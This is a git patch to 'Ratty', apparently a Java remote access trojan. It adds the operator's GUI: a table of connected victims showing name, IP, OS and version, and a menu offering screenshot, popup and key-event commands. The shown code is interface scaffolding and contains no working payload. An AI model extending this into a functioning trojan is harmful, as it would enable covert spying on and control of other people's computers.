From 7826369af0f4c42e83a7680b6d5a8af775f20af7 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Wed, 27 Jan 2016 19:18:41 +0100 Subject: [PATCH] Major changes Different structure Added GUI classes and basic user interface --- Ratty/src/de/sogomn/rat/Ratty.java | 28 ++++++++ .../sogomn/rat/server/gui/IGuiController.java | 7 ++ .../de/sogomn/rat/server/gui/RattyGui.java | 72 +++++++++++++++++++ .../server/{ => gui}/ServerGuiController.java | 11 ++- 4 files changed, 116 insertions(+), 2 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/server/gui/IGuiController.java create mode 100644 Ratty/src/de/sogomn/rat/server/gui/RattyGui.java rename Ratty/src/de/sogomn/rat/server/{ => gui}/ServerGuiController.java (72%) diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index ccda9a0..e322ef7 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -1,9 +1,16 @@ package de.sogomn.rat; +import java.awt.Color; import java.awt.event.KeyEvent; +import javax.swing.UIDefaults; +import javax.swing.UIManager; +import javax.swing.plaf.nimbus.NimbusLookAndFeel; + import de.sogomn.rat.packet.KeyEventPacket; import de.sogomn.rat.server.ActiveServer; +import de.sogomn.rat.server.gui.RattyGui; +import de.sogomn.rat.server.gui.ServerGuiController; public final class Ratty { @@ -14,6 +21,20 @@ public final class Ratty { //... } + private static void setLookAndFeel() { + final NimbusLookAndFeel nimbus = new NimbusLookAndFeel(); + final UIDefaults defaults = nimbus.getDefaults(); + + defaults.put("control", Color.LIGHT_GRAY); + defaults.put("nimbusBase", Color.LIGHT_GRAY); + + try { + UIManager.setLookAndFeel(nimbus); + } catch (final Exception ex) { + ex.printStackTrace(); + } + } + public static void connectToHost(final String address, final int port) { final ActiveClient newClient = new ActiveClient(address, port); final Trojan trojan = new Trojan(); @@ -32,11 +53,18 @@ public final class Ratty { public static void startServer(final int port) { final ActiveServer server = new ActiveServer(port); + final RattyGui gui = new RattyGui(); + final ServerGuiController controller = new ServerGuiController(); + gui.setController(controller); + + server.setObserver(controller); server.start(); } public static void main(final String[] args) { + setLookAndFeel(); + if (CLIENT) { System.out.println("Starting client"); diff --git a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java new file mode 100644 index 0000000..564703b --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java @@ -0,0 +1,7 @@ +package de.sogomn.rat.server.gui; + +public interface IGuiController { + + void userInput(final String actionCommand); + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java new file mode 100644 index 0000000..8ca2265 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -0,0 +1,72 @@ +package de.sogomn.rat.server.gui; + +import java.awt.event.ActionEvent; + +import javax.swing.JFrame; +import javax.swing.JMenuItem; +import javax.swing.JPopupMenu; +import javax.swing.JScrollPane; +import javax.swing.JTable; +import javax.swing.table.DefaultTableModel; + +public final class RattyGui { + + private JFrame frame; + + private JTable table; + private DefaultTableModel tableModel; + + private JPopupMenu menu; + + private IGuiController controller; + + private static final String[] HEADERS = { + "Name", + "IP address", + "OS", + "Version" + }; + + public static final String POPUP = "Popup"; + public static final String SCREENSHOT = "Screenshot"; + public static final String KEY_EVENT = "Key event"; + public static final String[] ACTION_COMMANDS = {POPUP, SCREENSHOT, KEY_EVENT}; + + public RattyGui() { + frame = new JFrame(); + table = new JTable(); + tableModel = (DefaultTableModel)table.getModel(); + menu = new JPopupMenu(); + + for (final String command : ACTION_COMMANDS) { + final JMenuItem item = new JMenuItem(command); + + item.addActionListener(this::actionPerformed); + menu.add(item); + } + + tableModel.setColumnIdentifiers(HEADERS); + table.setEnabled(false); + table.setComponentPopupMenu(menu); + + final JScrollPane scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); + + frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + frame.setContentPane(scrollPane); + frame.pack(); + frame.setLocationByPlatform(true); + frame.setVisible(true); + frame.requestFocus(); + } + + private void actionPerformed(final ActionEvent a) { + final String command = a.getActionCommand(); + + controller.userInput(command); + } + + public void setController(final IGuiController controller) { + this.controller = controller; + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/ServerGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java similarity index 72% rename from Ratty/src/de/sogomn/rat/server/ServerGuiController.java rename to Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java index 40a409a..905455a 100644 --- a/Ratty/src/de/sogomn/rat/server/ServerGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java @@ -1,12 +1,14 @@ -package de.sogomn.rat.server; +package de.sogomn.rat.server.gui; import java.util.ArrayList; import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; import de.sogomn.rat.packet.IPacket; +import de.sogomn.rat.server.ActiveServer; +import de.sogomn.rat.server.IServerObserver; -public final class ServerGuiController implements IServerObserver, IClientObserver { +public final class ServerGuiController implements IServerObserver, IClientObserver, IGuiController { private ArrayList clients; @@ -38,4 +40,9 @@ public final class ServerGuiController implements IServerObserver, IClientObserv System.out.println("Server closed"); } + @Override + public void userInput(final String actionCommand) { + System.out.println("User input: " + actionCommand); + } + }